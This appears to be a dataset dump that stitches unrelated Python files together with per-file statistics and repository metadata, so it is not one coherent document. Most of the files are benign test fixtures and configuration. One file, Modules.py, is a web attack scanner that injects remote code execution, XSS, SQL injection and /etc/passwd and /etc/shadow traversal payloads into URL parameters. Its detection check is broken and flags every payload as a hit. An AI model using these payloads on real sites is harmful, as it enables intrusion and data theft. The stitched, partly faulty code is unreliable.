from datasets_api.models import Dataset
@pytest.fixture()
def groups_model():
return Group
@pytest.fixture()
def group(db, groups_model):
return groups_model.objects.create(name="New Group")
@pytest.fixture()
def group_with_user(db, group, user):
user.groups.add(group)
return group, user
@pytest.fixture()
def dataset(db):
return Dataset.objects.create(dataset_id="My Dataset")
| 16.357143
| 58
| 0.737991
| 64
| 458
| 5.171875
| 0.375
| 0.1571
| 0.193353
| 0.126888
| 0.1571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.148472
| 458
| 27
| 59
| 16.962963
| 0.848718
| 0
| 0
| 0.25
| 0
| 0
| 0.041485
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.1875
| 0.1875
| 0.6875
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
8f1cff6a1fd66a515d2ce6d9879ab0cf785494f5
| 302
|
py
|
Python
|
roadCollections.py
|
goracle/theroad
|
7fdae9fb5589d6ff8d0055d636712548d09271b7
|
[
"MIT"
] | 1
|
2017-08-11T05:20:55.000Z
|
2017-08-11T05:20:55.000Z
|
roadCollections.py
|
goracle/theroad
|
7fdae9fb5589d6ff8d0055d636712548d09271b7
|
[
"MIT"
] | 3
|
2017-08-16T15:27:47.000Z
|
2017-08-16T23:53:41.000Z
|
roadCollections.py
|
goracle/theroad
|
7fdae9fb5589d6ff8d0055d636712548d09271b7
|
[
"MIT"
] | 1
|
2019-06-13T13:41:12.000Z
|
2019-06-13T13:41:12.000Z
|
from road import Segment, Road
from gear import Gear
def basicRoad():
r = Road()
r.addSegment(Segment(100, theGear=Gear.DIRECT))
r.addSegment(Segment(50, theGear=Gear.TURN))
r.addSegment(Segment(100, theGear=Gear.DIRECT))
r.addSegment(Segment(50, theGear=Gear.TURN))
return r
| 25.166667
| 51
| 0.705298
| 43
| 302
| 4.953488
| 0.348837
| 0.206573
| 0.338028
| 0.197183
| 0.685446
| 0.685446
| 0.685446
| 0.685446
| 0.685446
| 0.685446
| 0
| 0.039683
| 0.165563
| 302
| 11
| 52
| 27.454545
| 0.805556
| 0
| 0
| 0.444444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.111111
| false
| 0
| 0.222222
| 0
| 0.444444
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8f4a591b6f976964256b95750fcb9b4552069f79
| 357
|
py
|
Python
|
fsfc/__test__/WKMeansTest.py
|
Ryuusei-Aika/fsfc
|
d26abe6376f119e6097fb009c570d48eba7036e3
|
[
"MIT"
] | 64
|
2018-04-21T08:16:39.000Z
|
2022-03-20T19:38:08.000Z
|
fsfc/__test__/WKMeansTest.py
|
Ryuusei-Aika/fsfc
|
d26abe6376f119e6097fb009c570d48eba7036e3
|
[
"MIT"
] | 5
|
2020-10-08T07:34:45.000Z
|
2021-07-09T15:07:26.000Z
|
fsfc/__test__/WKMeansTest.py
|
Ryuusei-Aika/fsfc
|
d26abe6376f119e6097fb009c570d48eba7036e3
|
[
"MIT"
] | 23
|
2018-12-01T19:16:49.000Z
|
2021-12-27T01:20:10.000Z
|
from .AlgorithmTest import AlgorithmTest
from fsfc.generic.WKMeans import WKMeans
CLUSTERS_COUNT = 4
BETA = 1
class WKMeansTest(AlgorithmTest):
def create_selector(self, dataset_size):
return WKMeans(CLUSTERS_COUNT, BETA)
def _check_consistent(self, selector, dataset):
# Uses EM-algorithm that is random by design
pass
| 22.3125
| 52
| 0.736695
| 44
| 357
| 5.840909
| 0.704545
| 0.116732
| 0.155642
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007018
| 0.201681
| 357
| 15
| 53
| 23.8
| 0.894737
| 0.117647
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0.111111
| 0.222222
| 0.111111
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
8f652b01193bea0930518182862468832ee16a31
| 144
|
py
|
Python
|
8KYU/sp_eng.py
|
yaznasivasai/python_codewars
|
25493591dde4649dc9c1ec3bece8191a3bed6818
|
[
"MIT"
] | 4
|
2021-07-17T22:48:03.000Z
|
2022-03-25T14:10:58.000Z
|
8KYU/sp_eng.py
|
yaznasivasai/python_codewars
|
25493591dde4649dc9c1ec3bece8191a3bed6818
|
[
"MIT"
] | null | null | null |
8KYU/sp_eng.py
|
yaznasivasai/python_codewars
|
25493591dde4649dc9c1ec3bece8191a3bed6818
|
[
"MIT"
] | 3
|
2021-06-14T14:18:16.000Z
|
2022-03-16T06:02:02.000Z
|
import re
def sp_eng(sentence: str) -> bool:
result = re.search(r'english', sentence, re.IGNORECASE)
return True if result else False
| 20.571429
| 59
| 0.701389
| 22
| 144
| 4.545455
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.194444
| 144
| 6
| 60
| 24
| 0.862069
| 0
| 0
| 0
| 0
| 0
| 0.048611
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
8f66f909c8817cd25a7cf1bb82bc444c53cbeada
| 119
|
py
|
Python
|
visualizer/admin.py
|
FuckBrains/Artilizer
|
dd7a66a7e0a2c9cf260e11fc5e4ec7d50cd51d9e
|
[
"Apache-2.0"
] | 4
|
2019-09-21T16:02:39.000Z
|
2020-09-08T00:56:40.000Z
|
visualizer/admin.py
|
FuckBrains/Artilizer
|
dd7a66a7e0a2c9cf260e11fc5e4ec7d50cd51d9e
|
[
"Apache-2.0"
] | 11
|
2019-09-22T16:50:45.000Z
|
2021-06-09T18:40:31.000Z
|
visualizer/admin.py
|
betafactory/Artilizer
|
dd7a66a7e0a2c9cf260e11fc5e4ec7d50cd51d9e
|
[
"Apache-2.0"
] | 5
|
2019-09-21T15:46:47.000Z
|
2021-05-26T19:30:29.000Z
|
from django.contrib import admin
# Register your models here.
from .models import Video
admin.site.register(Video)
| 14.875
| 32
| 0.781513
| 17
| 119
| 5.470588
| 0.647059
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.151261
| 119
| 7
| 33
| 17
| 0.920792
| 0.218487
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
56ba24ccefd44acb3700a55a528a2419fd3adf8c
| 5,539
|
py
|
Python
|
Modules.py
|
Chaudhary-Adeel/Pentester-Toolkit
|
08eea211c862d99e547fe3af0c219f5db7b73977
|
[
"MIT"
] | 2
|
2015-11-12T02:05:56.000Z
|
2016-05-27T07:34:20.000Z
|
Modules.py
|
Chaudhary-Adeel/Pentester-Toolkit
|
08eea211c862d99e547fe3af0c219f5db7b73977
|
[
"MIT"
] | null | null | null |
Modules.py
|
Chaudhary-Adeel/Pentester-Toolkit
|
08eea211c862d99e547fe3af0c219f5db7b73977
|
[
"MIT"
] | 2
|
2017-10-01T19:45:54.000Z
|
2020-07-01T19:09:21.000Z
|
#!/usr/bin/env python
import re, urllib, time, requests, os, sys, urllib, urllib2, socket
from urllib import FancyURLopener
from designer import *
def Pentest(url, payloads, vuln):
opener = urllib.urlopen(url)
vulnerabilities = 0
if opener.code == '999':
print COLOR.green + "WebKnight WAF" + COLOR.die + "Detected."
time.sleep(3)
for params in url.split("?")[1].split("&"):
for payload in payloads:
bugs = url.replace(params, params+str(payload).strip())
request = useragent.open(bugs)
html = request.readlines()
for line in html:
checker = re.findall(vuln, line)
if len(checker) != '0':
print "[+] Payload: " + COLOR.green + "{0}".format(payload) + COLOR.die
print "[+] Proof of Concept: " + COLOR.green + "{0}".format(bugs) + COLOR.die
vulnerabilities += 1
if vulnerabilities == '0':
print "[+] Every Payload is Being Properly Escapaed."
else:
print "\n[-] Target is Vulnerable to: " + COLOR.green + "{0}".format(vulnerabilities) + COLOR.die + " :Vulnerabilities."
def RemoteCodeExecution(url):
print COLOR.green + "+++" * 16 + COLOR.die
print COLOR.green + "-- Checking Remote Code Execution --" + COLOR.die
print COLOR.green + "+++" * 16 + COLOR.die
payloads = [';${@print(md5(UrduSecurity))}', ';${@print(md5("UrduSecurity"))}']
# Encrypted Payloads to Bypass Some WAFs
payloads += ['%253B%2524%257B%2540print%2528md5%2528%2522UrduSecurity%2522%2529%2529%257D%253B']
payloads += [';uname;', '&&dir', '&&type C:\\boot.ini', ';phpinfo();', ';phpinfo']
vuln = re.compile("51107ed95250b4099a0f481221d56497|Linux|eval\(\)|SERVER_ADDR|Volume.+Serial|\[boot", re.I)
Pentest(url, payloads, vuln)
def XssTest(url):
print COLOR.green + "+++" * 16 + COLOR.die
print COLOR.green + "-- Checking Cross Site Scripting --" + COLOR.die
print COLOR.green + "+++" * 16 + COLOR.die
payloads = ['%27%3EUrduSecurity%3Csvg%2Fonload%3Dconfirm%28%2FUrduSecurity%2F%29%3Eweb', '%78%22%78%3e%78']
payloads += ['%22%3EUrduSecurity%3Csvg%2Fonload%3Dconfirm%28%2FUrduSecurity%2F%29%3Eweb', 'UrduSecurity%3Csvg%2Fonload%3Dconfirm%28%2FUrduSecurity%2F%29%3Eweb']
vuln = re.compile('UrduSecurity<svg|x>x', re.I)
Pentest(url, payloads, vuln)
def ErrBsdSQLi(url):
print COLOR.green + "+++" * 16 + COLOR.die
print COLOR.green + "-- Checking Error Based SQLi --" + COLOR.die
print COLOR.green + "+++" * 16 + COLOR.die
payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"]
vuln = re.compile("You have an error in your SQL|Incorrect syntax|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I)
Pentest(url, payloads, vuln)
def dirTrans(url):
print COLOR.green + "+++" * 16 + COLOR.die
print COLOR.green + "-- Checking For Directory Traversal --" + COLOR.die
print COLOR.green + "+++" * 16 + COLOR.die
payloads = ['/etc/master.passwd',
'/master.passwd',
'etc/passwd',
'etc/shadow%00',
'/etc/passwd',
'/etc/passwd%00',
'../etc/passwd',
'../etc/passwd%00',
'../../etc/passwd',
'../../etc/passwd%00',
'../../../etc/passwd',
'../../../etc/passwd%00',
'../../../../etc/passwd',
'../../../../etc/passwd%00',
'../../../../../etc/passwd',
'../../../../../etc/passwd%00',
'../../../../../../etc/passwd',
'../../../../../../etc/passwd%00',
'../../../../../../../etc/passwd',
'../../../../../../../etc/passwd%00',
'../../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd%00',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../../../../../../../../etc/shadow%00',
]
vuln = re.compile('root.*bash$', re.I)
Pentest(url, payloads, vuln)
| 46.158333
| 167
| 0.452248
| 530
| 5,539
| 4.724528
| 0.313208
| 0.16893
| 0.14377
| 0.128594
| 0.44369
| 0.44369
| 0.433706
| 0.40016
| 0.38139
| 0.267173
| 0
| 0.050389
| 0.118613
| 5,539
| 119
| 168
| 46.546218
| 0.462515
| 0.010652
| 0
| 0.113208
| 0
| 0.028302
| 0.598209
| 0.476338
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.462264
| 0.028302
| null | null | 0.179245
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
56ccdda589fb1dd5dd5ba50e8541a6be96b108a0
| 246
|
py
|
Python
|
oauthlogin/exceptions.py
|
dropseed/django-oauth-login
|
c9fba0e6e885fc6db9d7479e0e3f3306754fe095
|
[
"MIT"
] | 6
|
2022-03-21T23:05:08.000Z
|
2022-03-24T11:07:06.000Z
|
oauthlogin/exceptions.py
|
dropseed/django-oauth-login
|
c9fba0e6e885fc6db9d7479e0e3f3306754fe095
|
[
"MIT"
] | 1
|
2022-03-22T20:35:46.000Z
|
2022-03-22T20:35:46.000Z
|
oauthlogin/exceptions.py
|
dropseed/django-oauth-login
|
c9fba0e6e885fc6db9d7479e0e3f3306754fe095
|
[
"MIT"
] | null | null | null |
class OAuthError(Exception):
"""Base class for OAuth errors"""
pass
class OAuthStateMismatchError(OAuthError):
pass
class OAuthCannotDisconnectError(OAuthError):
pass
class OAuthUserAlreadyExistsError(OAuthError):
pass
| 14.470588
| 46
| 0.747967
| 21
| 246
| 8.761905
| 0.52381
| 0.146739
| 0.206522
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.178862
| 246
| 16
| 47
| 15.375
| 0.910891
| 0.109756
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
56ed4fc30a610119e5bf8e64b3ef0ffa5e87a3de
| 44
|
py
|
Python
|
index.py
|
liufangzhe96/python1804-
|
39eceaabc4b7e21bf55970f6affb2f43df8bb9cc
|
[
"Apache-2.0"
] | null | null | null |
index.py
|
liufangzhe96/python1804-
|
39eceaabc4b7e21bf55970f6affb2f43df8bb9cc
|
[
"Apache-2.0"
] | null | null | null |
index.py
|
liufangzhe96/python1804-
|
39eceaabc4b7e21bf55970f6affb2f43df8bb9cc
|
[
"Apache-2.0"
] | null | null | null |
a=1;
b=2;
c=a+b;
print("hello world")
121213
| 8.8
| 20
| 0.636364
| 11
| 44
| 2.545455
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.205128
| 0.113636
| 44
| 5
| 21
| 8.8
| 0.512821
| 0
| 0
| 0
| 0
| 0
| 0.244444
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.2
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7101746daf48828eaeddf0e464ecf5b28106b794
| 132
|
py
|
Python
|
package/tests/example_templates/python_project/package/{{cookiecutter.package_name}}/src/{{cookiecutter.package_name}}/main.py
|
MrKriss/stonemason
|
d78becc9168c2566b31b48c9a951e2823bc98362
|
[
"MIT"
] | 2
|
2017-11-13T17:40:52.000Z
|
2021-05-08T15:58:28.000Z
|
templates/python-dev/package/{{cookiecutter.project_name}}/package/src/{{cookiecutter.package_name}}/main.py
|
MrKriss/masonry
|
d78becc9168c2566b31b48c9a951e2823bc98362
|
[
"MIT"
] | 3
|
2017-09-03T22:58:37.000Z
|
2017-09-12T21:45:27.000Z
|
templates/python-dev/package/{{cookiecutter.project_name}}/package/src/{{cookiecutter.package_name}}/main.py
|
MrKriss/stonemason
|
d78becc9168c2566b31b48c9a951e2823bc98362
|
[
"MIT"
] | null | null | null |
"""Main Entry point to {{cookiecutter.package_name}}"""
import pathlib
def main():
pass
if __name__ == '__main__':
main()
| 14.666667
| 55
| 0.651515
| 16
| 132
| 4.8125
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.189394
| 132
| 9
| 56
| 14.666667
| 0.719626
| 0.371212
| 0
| 0
| 0
| 0
| 0.102564
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0.2
| 0.2
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
711fdd352460fa4fbb7a80901a4c3371b242ca52
| 301
|
py
|
Python
|
app/blueprints/front/views.py
|
AthelasPeru/laborapp
|
3267b83d8b328d34cfa58d4558c259fe6f205b5a
|
[
"MIT"
] | null | null | null |
app/blueprints/front/views.py
|
AthelasPeru/laborapp
|
3267b83d8b328d34cfa58d4558c259fe6f205b5a
|
[
"MIT"
] | null | null | null |
app/blueprints/front/views.py
|
AthelasPeru/laborapp
|
3267b83d8b328d34cfa58d4558c259fe6f205b5a
|
[
"MIT"
] | null | null | null |
from flask import Blueprint, render_template
from flask_security import login_required
front = Blueprint("front", __name__)
@front.route("/")
def index():
return render_template("front/index.html")
@front.route("/secure")
@login_required
def admin():
return render_template("front/index.html")
| 18.8125
| 44
| 0.76412
| 39
| 301
| 5.641026
| 0.461538
| 0.190909
| 0.181818
| 0.227273
| 0.309091
| 0.309091
| 0
| 0
| 0
| 0
| 0
| 0
| 0.10299
| 301
| 15
| 45
| 20.066667
| 0.814815
| 0
| 0
| 0.2
| 0
| 0
| 0.15
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0.2
| 0.6
| 0.2
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
713b0af4218f267eda844d1ca863ecf41a354778
| 99
|
py
|
Python
|
Specialization/Personal/copytextfromfiletofile.py
|
lastralab/Statistics
|
358679f2e749db2e23c655795b34382c84270704
|
[
"MIT"
] | 3
|
2017-09-26T20:19:57.000Z
|
2020-02-03T16:59:59.000Z
|
Specialization/Personal/copytextfromfiletofile.py
|
lastralab/Statistics
|
358679f2e749db2e23c655795b34382c84270704
|
[
"MIT"
] | 1
|
2017-09-22T13:57:04.000Z
|
2017-09-26T20:03:24.000Z
|
Specialization/Personal/copytextfromfiletofile.py
|
lastralab/Statistics
|
358679f2e749db2e23c655795b34382c84270704
|
[
"MIT"
] | 3
|
2018-05-09T01:41:16.000Z
|
2019-01-16T15:32:59.000Z
|
# with open("Yu.py") as f:
with open("quote.py", "w") as out:
for line in f:
out.write(line)
| 19.8
| 35
| 0.585859
| 20
| 99
| 2.9
| 0.65
| 0.275862
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.212121
| 99
| 4
| 36
| 24.75
| 0.74359
| 0.242424
| 0
| 0
| 0
| 0
| 0.123288
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
71404f0ccc26391b10a63bc52d6767c0f134dd96
| 939
|
py
|
Python
|
setup.py
|
dvwright/quipclient
|
01f30f277797c1995edfc7dfb87e3898c2ffb459
|
[
"Apache-2.0"
] | null | null | null |
setup.py
|
dvwright/quipclient
|
01f30f277797c1995edfc7dfb87e3898c2ffb459
|
[
"Apache-2.0"
] | null | null | null |
setup.py
|
dvwright/quipclient
|
01f30f277797c1995edfc7dfb87e3898c2ffb459
|
[
"Apache-2.0"
] | null | null | null |
from distutils.core import setup
setup(
name = 'quipclient',
packages = ['quipclient'],
version = '0.1',
license='apache-2.0',
description = 'Quip API Python Client',
long_description = 'Quip API Python Client',
author = 'David Wright',
author_email = 'david_v_wright@yahoo.com',
url = 'https://github.com/dvwright/quipclient',
download_url = 'https://github.com/dvwright/quipclient/archive/v0.1.tar.gz',
keywords = ['Quip', 'API', 'Python'],
#install_requires=[],
classifiers=[
'Development Status :: 3 - Alpha',
'Intended Audience :: Developers',
'Topic :: Software Development :: Libraries :: Python Modules',
'License :: OSI Approved :: Apache Software License',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
],
)
| 34.777778
| 78
| 0.654952
| 106
| 939
| 5.745283
| 0.556604
| 0.155993
| 0.205255
| 0.170772
| 0.213465
| 0.114943
| 0
| 0
| 0
| 0
| 0
| 0.020806
| 0.181044
| 939
| 26
| 79
| 36.115385
| 0.771131
| 0.021299
| 0
| 0
| 0
| 0
| 0.62854
| 0.026144
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.04
| 0
| 0.04
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
85514db64209e7836f4745d13684671a5aab7e68
| 275
|
py
|
Python
|
cves.py
|
ckelleyRH/3age
|
4203671a3186c5ba1e0c1183c50e1c779fee4617
|
[
"Apache-2.0"
] | null | null | null |
cves.py
|
ckelleyRH/3age
|
4203671a3186c5ba1e0c1183c50e1c779fee4617
|
[
"Apache-2.0"
] | 5
|
2021-07-21T20:50:36.000Z
|
2021-08-02T22:42:05.000Z
|
cves.py
|
ckelleyRH/3age
|
4203671a3186c5ba1e0c1183c50e1c779fee4617
|
[
"Apache-2.0"
] | null | null | null |
class cves():
cve_url = "https://services.nvd.nist.gov/rest/json/cves/1.0?pubStartDate=2021-09-01T00:00:00:000+UTC-00:00&resultsPerPage=100&keyword="
keywords = ["RHCS", "RHEL", "Thales", "nShield", "Certificate+Authority&isExactMatch=true", "NSS", "tomcat", "TLS"]
| 55
| 139
| 0.694545
| 39
| 275
| 4.871795
| 0.897436
| 0.042105
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.103586
| 0.087273
| 275
| 4
| 140
| 68.75
| 0.653386
| 0
| 0
| 0
| 0
| 0.333333
| 0.709091
| 0.141818
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
858b0b364cc8ca0db528aad054da6201597c6818
| 115
|
py
|
Python
|
test.py
|
xuwiliam/Adgame
|
e594f52e8da0cb4878142bcd71575dfecdd830b0
|
[
"MIT"
] | null | null | null |
test.py
|
xuwiliam/Adgame
|
e594f52e8da0cb4878142bcd71575dfecdd830b0
|
[
"MIT"
] | null | null | null |
test.py
|
xuwiliam/Adgame
|
e594f52e8da0cb4878142bcd71575dfecdd830b0
|
[
"MIT"
] | null | null | null |
import numpy as np
weight = np.random.random((4))
height = np.random.random((4))
bmi = weight/height**2
print(bmi)
| 19.166667
| 30
| 0.704348
| 20
| 115
| 4.05
| 0.55
| 0.197531
| 0.345679
| 0.37037
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.029703
| 0.121739
| 115
| 6
| 31
| 19.166667
| 0.772277
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 0.2
| 0.2
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
859b50a1cc4f278370d720c7352a669ce891df8d
| 126
|
py
|
Python
|
groupby.py
|
rmayherr/python
|
830aec82e3ab155b66d01032eac71bbe6f961fce
|
[
"MIT"
] | null | null | null |
groupby.py
|
rmayherr/python
|
830aec82e3ab155b66d01032eac71bbe6f961fce
|
[
"MIT"
] | null | null | null |
groupby.py
|
rmayherr/python
|
830aec82e3ab155b66d01032eac71bbe6f961fce
|
[
"MIT"
] | null | null | null |
from itertools import groupby
import sys
for key, group in groupby(sys.stdin.readline()):
print(f'{key} {list(group)}')
| 21
| 48
| 0.706349
| 19
| 126
| 4.684211
| 0.736842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.150794
| 126
| 5
| 49
| 25.2
| 0.831776
| 0
| 0
| 0
| 0
| 0
| 0.150794
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0.25
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
85b528219642001f4c216e0fb991770c75069b17
| 451
|
py
|
Python
|
src/nagiosplugin/tests/test_performance.py
|
Puneeth-n/nagiosplugin
|
f0a77f8e1aa64516fcbeceef7b630e0a1e33ea2f
|
[
"ZPL-2.1"
] | null | null | null |
src/nagiosplugin/tests/test_performance.py
|
Puneeth-n/nagiosplugin
|
f0a77f8e1aa64516fcbeceef7b630e0a1e33ea2f
|
[
"ZPL-2.1"
] | null | null | null |
src/nagiosplugin/tests/test_performance.py
|
Puneeth-n/nagiosplugin
|
f0a77f8e1aa64516fcbeceef7b630e0a1e33ea2f
|
[
"ZPL-2.1"
] | null | null | null |
from nagiosplugin.performance import Performance
import pytest
def test_normal_label():
assert 'd=10' == str(Performance('d', 10))
def test_label_quoted():
assert "'d d'=10" == str(Performance('d d', 10))
def test_label_must_not_contain_quotes():
with pytest.raises(RuntimeError):
str(Performance("d'", 10))
def test_label_must_not_contain_equals():
with pytest.raises(RuntimeError):
str(Performance("d=", 10))
| 21.47619
| 52
| 0.696231
| 61
| 451
| 4.918033
| 0.360656
| 0.06
| 0.2
| 0.17
| 0.65
| 0.58
| 0.58
| 0.483333
| 0
| 0
| 0
| 0.03183
| 0.16408
